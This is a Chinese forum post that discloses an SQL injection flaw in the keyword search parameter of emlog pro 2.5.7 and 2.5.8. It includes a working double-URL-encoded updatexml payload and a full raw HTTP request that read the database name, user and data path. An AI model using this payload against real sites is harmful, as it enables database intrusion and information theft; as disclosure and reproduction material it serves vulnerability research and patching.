返回列表 发布新帖
查看: 304|回复: 0

[Emlog] emlog pro keyword 参数存在 SQL 注入漏洞

灌水成绩
527
51
1292
主题
回帖
积分

等级头衔
U I D : 1
用户组 : 管理员

积分成就
威望 : 1 点
糖 : 544 个
贡献 : 18463 点
在线时间 : 181 小时
注册时间 : 2025-1-1
最后登录 : 2025-4-13

荣誉勋章

活跃会员热心会员灌水之王博客真神优秀版主荣誉会员论坛元老优秀作者帅哥认证管理员挂机之王管理团队勋章

发表于 5 天前 | 查看全部 |阅读模式
Vulnerability Location: /index.php?keyword=123

Affected Range: pro-2.5.7,pro-2.5.8

Vulnerability Cause: search_controller.php does not use addslashes after urldecode, allowing the preceeding addslashes to be bypassed by URL double encoding.

Vulnerability Impact: Potential leakage of sensitive information from the user database.

Reproduction Steps:
  • Deploy this system locally and open a browser to access this URL: http://localhost:9091/index.php?keyword=%2527%20AND%20updatexml(1,concat(0x7e,database(),0x7e,user(),0x7e,@@datadir),1)%20%20--%2520
  • The result of accessing the URL is shown in the following image, successfully utilizing statements like database(), user(),和 datadir to read the database name, username, 和 data path respectively.




Alternatively, you can use an MITM tool like Burp Suite to send the following URL request,
  1. GET /index.php?keyword=%2527%20AND%20updatexml(1,concat(0x7e,database(),0x7e,user(),0x7e,@@datadir),1)%20%20--%2520 HTTP/1.1
  2. Host: localhost:9091
  3. sec-ch-ua: "Chromium";v="133", "Not(A:Brand";v="99"
  4. sec-ch-ua-mobile: ?0
  5. sec-ch-ua-platform: "macOS"
  6. Accept-Language: zh-CN,zh;q=0.9
  7. Upgrade-Insecure-Requests: 1
  8. User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36
  9. Sec-Purpose: prefetch;prerender
  10. Purpose: prefetch
  11. Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
  12. Sec-Fetch-Site: none
  13. Sec-Fetch-Mode: navigate
  14. Sec-Fetch-User: ?1
  15. Sec-Fetch-Dest: document
  16. Accept-Encoding: gzip, deflate, br
  17. Connection: keep-alive
复制代码
which will yield the same result:

sqlmap


本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有账号?立即注册

×
老会博客欢迎您
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

投诉/建议联系

10231020@qq.com

老会博客(www.lhbk.cn)专注网络技术分享,
主要分享技术教程程序源码,网络技术,PSD源码,
模板插件,活动分享,各类教程,绿色软件,QQ资源,
致力创造一个高质量分享平台
  • 添加微信客服
  • 加入官方QQ群
Copyright © 2001-2025 老会博客 版权所有 All Rights Reserved.
关灯 在本版发帖
扫一扫添加微信客服
QQ客服返回顶部
快速回复 返回顶部 返回列表